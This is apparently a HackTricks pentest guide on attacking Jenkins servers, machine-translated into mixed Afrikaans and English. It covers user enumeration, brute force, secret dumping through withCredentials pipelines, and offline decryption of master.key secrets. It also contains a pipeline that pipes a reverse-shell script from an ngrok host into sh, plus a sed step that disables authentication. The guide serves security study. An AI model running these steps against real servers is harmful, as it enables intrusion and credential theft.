Jenkins Security

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n deurlopende integrasie of deurlopende aflewering (CI/CD) omgewing vir byna enige kombinasie van programmering tale en bronkode repositories met behulp van pyplyne op te stel. Verder outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die noodsaaklikheid om skripte vir individuele stappe te skep verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou-, toets- en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan opstel.

Basic Jenkins Information

Onauthentieke Enumerasie

Om te soek na interessante Jenkins bladsye sonder outentisering soos (/people of /asynchPeople, dit lys die huidige gebruikers) kan jy gebruik maak van:

msf> use auxiliary/scanner/http/jenkins_enum

Kontroleer of jy opdragte kan uitvoer sonder om te hoef te autentiseer:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for gebruikersname.

You may be able to get the Jenkins version from the path /oops or /error

Known Vulnerabilities

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins serversGitHub

Login

In the basic information you can check alle maniere om in Jenkins aan te meld:

Basic Jenkins Information

Register

You will be able to find Jenkins instances that toelaat dat jy 'n rekening skep en daarin aanmeld. So eenvoudig soos dit.

SSO Login

Also if SSO funksionaliteit/plugins were present then you should attempt to aanmeld to the application using a test account (i.e., a test Github/Bitbucket rekening). Trick from here.

Bruteforce

Jenkins lacks wagwoordbeleid and gebruikersnaam bruteforce mitigasie. It's essential to bruteforce users since swak wagwoorde or gebruikersname as wagwoorde may be in use, even omgekeerde gebruikersname as wagwoorde.

msf> use auxiliary/scanner/http/jenkins_login

Wagwoord spuit

Gebruik hierdie python skrip of hierdie powershell skrip.

IP Witlys Bypass

Baie organisasies kombineer SaaS-gebaseerde bronbeheer (SCM) stelsels soos GitHub of GitLab met 'n interne, self-gehoste CI oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI stelsels toe om webhook-gebeurtenisse van SaaS bronbeheer verskaffers te ontvang, hoofsaaklik om pyplyn take te aktiveer.

Om dit te bereik, witlys organisasies die IP reekse van die SCM platforms, wat hulle toelaat om toegang te verkry tot die interne CI stelsel via webhooks. Dit is egter belangrik om te noem dat enigeen 'n rekening op GitHub of GitLab kan skep en dit kan konfigureer om 'n webhook te aktiveer, wat moontlik versoeke na die interne CI stelsel kan stuur.

Kontroleer: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Interne Jenkins Misbruik

In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.

Afhangende van die Magtigings meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, kan jy dalk die volgende aanvalle uitvoer of nie.

Vir meer inligting, kyk na die basiese inligting:

Basic Jenkins Information

Lys van gebruikers

As jy toegang tot Jenkins het, kan jy ander geregistreerde gebruikers lys in http://127.0.0.1:8080/asynchPeople/

Dumping boue om duidelike teks geheime te vind

Gebruik hierdie skrip om bou konsoluitsette en bou omgewingsveranderlikes te dump om hopelik duidelike teks geheime te vind.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Steling van SSH Kredensiale

As die gecompromitteerde gebruiker genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy daardie kredensiale steel deur 'n node te skep/wysig en 'n gasheer in te stel wat die kredensiale sal opneem sonder om die gasheer sleutel te verifieer:

Jy sal gewoonlik Jenkins ssh kredensiale in 'n globale verskaffer (/credentials/) vind, so jy kan dit ook dump soos jy enige ander geheim sou dump. Meer inligting in die Dumping secrets section.

RCE in Jenkins

Om 'n shell in die Jenkins bediener te kry, gee die aanvaller die geleentheid om al die geheime en omgewing veranderlikes te lek en om ander masjiene in dieselfde netwerk te ontgin of selfs cloud kredensiale te versamel.

Standaard sal Jenkins as SYSTEM loop. Dus, om dit te kompromitteer sal die aanvaller SYSTEM bevoegdhede gee.

RCE Skep/Wysig 'n projek

Om 'n projek te skep/wysig is 'n manier om RCE oor die Jenkins bediener te verkry:

Jenkins RCE Creating/Modifying Project

RCE Voer Groovy skrip uit

Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerklik is as om 'n nuwe projek te skep:

Jenkins RCE with Groovy Script

RCE Skep/Wysig Pipeline

Jy kan ook RCE verkry deur 'n pipeline te skep/wysig:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitatie

Om pipelines te ontgin moet jy steeds toegang tot Jenkins hê.

Bou Pipelines

Pipelines kan ook as boumeganisme in projekte gebruik word, in daardie geval kan dit geconfigureer word as 'n lêer binne die repository wat die pipeline sintaksis sal bevat. Standaard word /Jenkinsfile gebruik:

Dit is ook moontlik om pipeline konfigurasielêers in ander plekke te stoor (in ander repositories byvoorbeeld) met die doel om toegang tot die repository en die pipeline toegang te skei.

As 'n aanvaller skrywe toegang oor daardie lêer het, sal hy in staat wees om dit te wysig en potensieel die pipeline te aktiveer sonder om toegang tot Jenkins te hê. Dit is moontlik dat die aanvaller sal moet omseil sommige tak beskermings (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie).

Die mees algemene triggers om 'n pasgemaakte pipeline uit te voer is:

• Trekversoek na die hoof tak (of potensieel na ander takke)

• Stoot na die hoof tak (of potensieel na ander takke)

• Opdateer die hoof tak en wag totdat dit op een of ander manier uitgevoer word

As jy 'n eksterne gebruiker is, moet jy nie verwag om 'n PR na die hoof tak van die repo van ander gebruiker/organisasie te skep en die pipeline te aktiveer... maar as dit sleg geconfigureer is, kan jy heeltemal maatskappye kompromitteer net deur dit te ontgin.

Pipeline RCE

In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om RCE te verkry deur 'n pipeline te wysig.

Kontroleer Omgewing veranderlikes

Dit is moontlik om duidelike teks omgewing veranderlikes vir die hele pipeline of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes moet nie sensitiewe inligting bevat nie, maar 'n aanvaller kan altyd alle pipeline konfigurasies/Jenkinsfiles nagaan:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Vir inligting oor hoe geheimen gewoonlik deur Jenkins hanteer word, kyk na die basiese inligting:

Basic Jenkins Information

Akrediteer kan gegrondeer word op globale verskaffers (/credentials/) of op spesifieke projekte (/job/<project-name>/configure). Daarom, om al hulle te exfiltrate, moet jy ten minste al die projekte wat geheimen bevat, kompromitteer en aangepaste/vergiftigde pipelines uitvoer.

Daar is 'n ander probleem, om 'n geheim binne die env van 'n pipeline te kry, moet jy die naam en tipe van die geheim weet. Byvoorbeeld, as jy probeer om 'n usernamePassword geheim as 'n string geheim te laai, sal jy hierdie fout kry:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier is die manier om 'n paar algemene geheime tipes te laai:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Aan die einde van hierdie bladsy kan jy alle tipe geloofsbewyse vind: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Die beste manier om alle die geheime op een slag te dump is deur die Jenkins masjien te kompromitteer (byvoorbeeld deur 'n omgekeerde skulp in die ingeboude node te laat loop) en dan die master sleutels en die versleutelde geheime te lek en dit offline te ontsleutel. Meer oor hoe om dit te doen in die Nodes & Agents section en in die Post Exploitation section.

Triggers

Van die dokumentasie: Die triggers riglyn definieer die geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag triggers nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die triggers wat tans beskikbaar is, is cron, pollSCM en upstream.

Cron voorbeeld:

triggers { cron('H */4 * * 1-5') }

Kontroleer ander voorbeelde in die dokumentasie.

Nodes & Agents

'n Jenkins-instansie mag verskillende agente op verskillende masjiene hê. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene verskillende potensiële wolkakkredite om te steel of verskillende netwerktoegang wat misbruik kan word om ander masjiene te ontgin.

Vir meer inligting, kyk na die basiese inligting:

Basic Jenkins Information

Jy kan die gekonfigureerde nodes in /computer/ opnoem, jy sal gewoonlik die **Built-In Node ** (wat die node is wat Jenkins uitvoer) en moontlik meer vind:

Dit is spesiaal interessant om die Built-In node te kompromitteer omdat dit sensitiewe Jenkins-inligting bevat.

Om aan te dui dat jy die pipeline in die ingeboude Jenkins-node wil uitvoer, kan jy die volgende konfigurasie binne die pipeline spesifiseer:

pipeline {
agent {label 'built-in'}

Volledige voorbeeld

Pypelyn in 'n spesifieke agent, met 'n cron-trigger, met pypelyn en fase omgewingsveranderlikes, wat 2 veranderlikes in 'n stap laai en 'n omgekeerde skulp stuur:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrêre Lêer Lees na RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Post Exploitatie

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Geheimen

Jy kan die geheime lys deur toegang te verkry tot /credentials/ as jy genoeg regte het. Let daarop dat dit slegs die geheime binne die credentials.xml lêer sal lys, maar bou konfigurasielêers mag ook meer krediete hê.

As jy die konfigurasie van elke projek kan sien, kan jy ook daar die name van die krediete (geheime) sien wat gebruik word om toegang tot die repository te verkry en ander krediete van die projek.

Van Groovy

Jenkins Dumping Secrets from Groovy

Van skyf

Hierdie lêers is nodig om Jenkins geheime te ontsleutel:

• secrets/master.key

• secrets/hudson.util.Secret

Sulke geheime kan gewoonlik gevind word in:

• credentials.xml

• jobs/.../build.xml

• jobs/.../config.xml

Hier is 'n regex om hulle te vind:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

As jy die nodige wagwoorde om die geheime te ontsleutel afgelaai het, gebruik hierdie skrif om daardie geheime te ontsleutel.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Ontsleutel Jenkins geheime vanaf Groovy

println(hudson.util.Secret.decrypt("{...}"))

Skep nuwe admin gebruiker

1. Toegang tot die Jenkins config.xml lêer in /var/lib/jenkins/config.xml of C:\Program Files (x86)\Jenkis\

2. Soek vir die woord <useSecurity>true</useSecurity> en verander die woord true na false.

3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

4. Herstart die Jenkins bediener: service jenkins restart

5. Gaan nou weer na die Jenkins portaal en Jenkins sal nie enige geloofsbriewe vra hierdie keer nie. Jy navigeer na "Manage Jenkins" om die administrateur wagwoord weer in te stel.

6. Aktiveer die sekuriteit weer deur die instellings te verander na <useSecurity>true</useSecurity> en herstart die Jenkins weer.

Verwysings

• https://github.com/gquere/pwn_jenkins

• https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/

• https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password

• https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html

• https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072

• https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.